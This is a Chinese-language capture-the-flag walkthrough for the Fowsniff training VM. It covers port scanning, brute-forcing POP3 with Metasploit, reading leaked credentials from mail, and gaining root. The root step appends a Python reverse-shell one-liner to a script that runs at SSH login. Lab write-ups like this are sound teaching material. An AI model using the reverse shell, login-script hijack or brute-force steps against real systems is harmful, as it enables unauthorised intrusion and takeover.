渗透测试靶机fowsniff通关攻略 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

渗透测试靶机fowsniff通关攻略

DarkEye 系统安全 2018-12-20 11:25:59
268637
收藏

导语:本篇文章将为大家分享渗透测试靶机fowsniff,获取root权限的攻略。

介绍

大家好,今天我们的靶机是fowsniff,这是一个boot2root的挑战,目的是获取root权限。靶机下载地址在这里

废话不多说,直接进入实际操作。

目录

· 端口扫描和IP发现

· 测试80端口

· 在pastebin上找到哈希值

· 解码哈希

· 暴力破解pop3登录

· 连接到pop3

· 找到ssh用户名和密码

· 找到提权的方法

· 利用系统配置不当

· 获取root权限

· 获取flag

实战过程

我们先开始进行端口扫描,使用netdiscover命令:

netdiscover

1.png

发现目标IP地址是192.168.1.29

接下来用nmap神器来扫描目标IP地址,命令如下:

nmap -A -p -T4 192.168.1.29

2.png

扫描结果显示有4个端口开放,22(ssh),80(http),110(pop3),143(imap)。

先看看80端口会不会有收获,打开浏览器访问:

3.png

页面上没有发现什么,继续使用dirb和nikto进行扫描也没有什么收获,于是我Google了一番页面上显示的这个fowsniff corp,发现了一个包含用户名和密码的pastebin链接。(链接在此)。

4.png

我们找到了一些哈希值并进行在线破解,找到了一些电子邮件对应的密码,不过有9个用户名,却只破解了8个哈希,如图:

5.png

所以我创建了两个字典,一个是用户名字典,一个是密码字典。我们将使用这两个字典来爆破pop3登录。

6.png

我们使用msf来爆破pop3登录,命令和配置如下:

msf > use auxiliary/scanner/pop3/pop3_login
msf auxiliary(scanner/pop3/pop3_login) > set rhosts 192.168.1.29
msf auxiliary(scanner/pop3/pop3_login) > set user_file user.txt
msf auxiliary(scanner/pop3/pop3_login) > set pass_file pass.txt
msf auxiliary(scanner/pop3/pop3_login) > set verbose false
msf auxiliary(scanner/pop3/pop3_login) > run

运行之后我们找到了正确的凭证,“seina:scoobydoo2”,如图:

7.png

接着我们连接到靶机的pop3服务上,使用刚才获取的凭证进行登录。登录上之后,我们查看下信息,发现有两条信息,命令如下:

nc 192.168.1.29 110
user seina
pass scoobydoo2
list

8.png

我们查看第一条信息的内容,发现它包含ssh的密码

retr 1

9.png

接着查看第二条信息,信息中可以看到发件人是baksteen@fowsniff,可以推断用户名是baksteen:

retr 2

10.png

接着我们使用刚才获得的凭证,也就是“baksteen:S1ck3nBluff+secureshell”来登录ssh:

ssh baksteen@192.168.1.29

11.png

登录成功。

对系统进行一下枚举,发现用户baksteen属于两个不同的组。我们尝试找到属于users组的文件,发现了一个脚本“cube.sh”,查找命令如下:

find / -group users -type f 2>/dev/null

12.png

我们查看一下这个脚本文件的内容,发现它包含我们ssh登陆后出现的界面信息,对照上图ssh登录成功后的截图便知。

cd /opt/cube
cat cube.sh

13.png

我们使用vim打开该文件,并在文件结尾添加一行Python反弹shell的命令:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

如图:

14.png

保存后,我们尝试执行该脚本,报错,错误信息是“Python command is not found”。于是我们在系统中查找Python,发现安装的是Python3,如图:

15.png

所以我们修改反弹shell的命令为Python3,如下:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

16.png

由于我们登录到ssh时看到的banner跟cube.sh脚本包含的内容相似,所以我们来查看下“etc/update-motd.d”目录,查找运行改程序的可执行文件,发现了“00-header”这个文件运行这个shell脚本。

17.png

现在我们退出ssh,并且在本地使用netcat设置监听,然后我们重新连接ssh,这样的话,我们的反弹shell就成功执行了。

ssh baksteen@192.168.1.29

18.png

一旦成功登录,我们就获得了一个root用户的shell。我们切换到root目录,发现一个flag.txt的文件,查看文件便得到了我们的flag信息:

nc -lvp 1234
id
cd /root
cat flag.txt

19.png

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2024 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务